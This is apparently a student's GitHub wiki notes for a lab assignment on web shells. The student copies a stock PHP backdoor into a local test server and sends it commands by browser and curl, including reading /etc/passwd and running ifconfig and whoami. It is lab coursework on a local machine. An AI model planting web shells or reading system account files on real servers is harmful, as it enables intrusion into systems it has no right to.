Week 7: Assignment 7.1 WebShells - FlameSpyro/Tech-Journal GitHub Wiki
Week 7: Assignment 7.1 WebShells
- First setup the web server
touch index.html
ls
cp /usr/share/webshells/php/simple-backdoor.php .
- Starting the PHP web server
php -S 127.0.0.1:8090 -t .
cd /week7/webshell
cat simple-backdoor.php
passwd dump
- To do this I entered this into chrome
127.0.0.1:8090/simple-backdoor.php?cmd=cat+/etc/passwd
This can be done in curl too!
curl 127.0.0.1:8090/simple-backdoor.php?cmd=cat+/etc/passwd
Other commands
curl 127.0.0.1:8090/simple-backdoor.php?cmd=ifconfig
curl 127.0.0.1:8090/simple-backdoor.php?cmd=whoami
echo "pwd" > myscript.sh
chmod 777 myscript.sh
#This allows privileges for all
./myscript.sh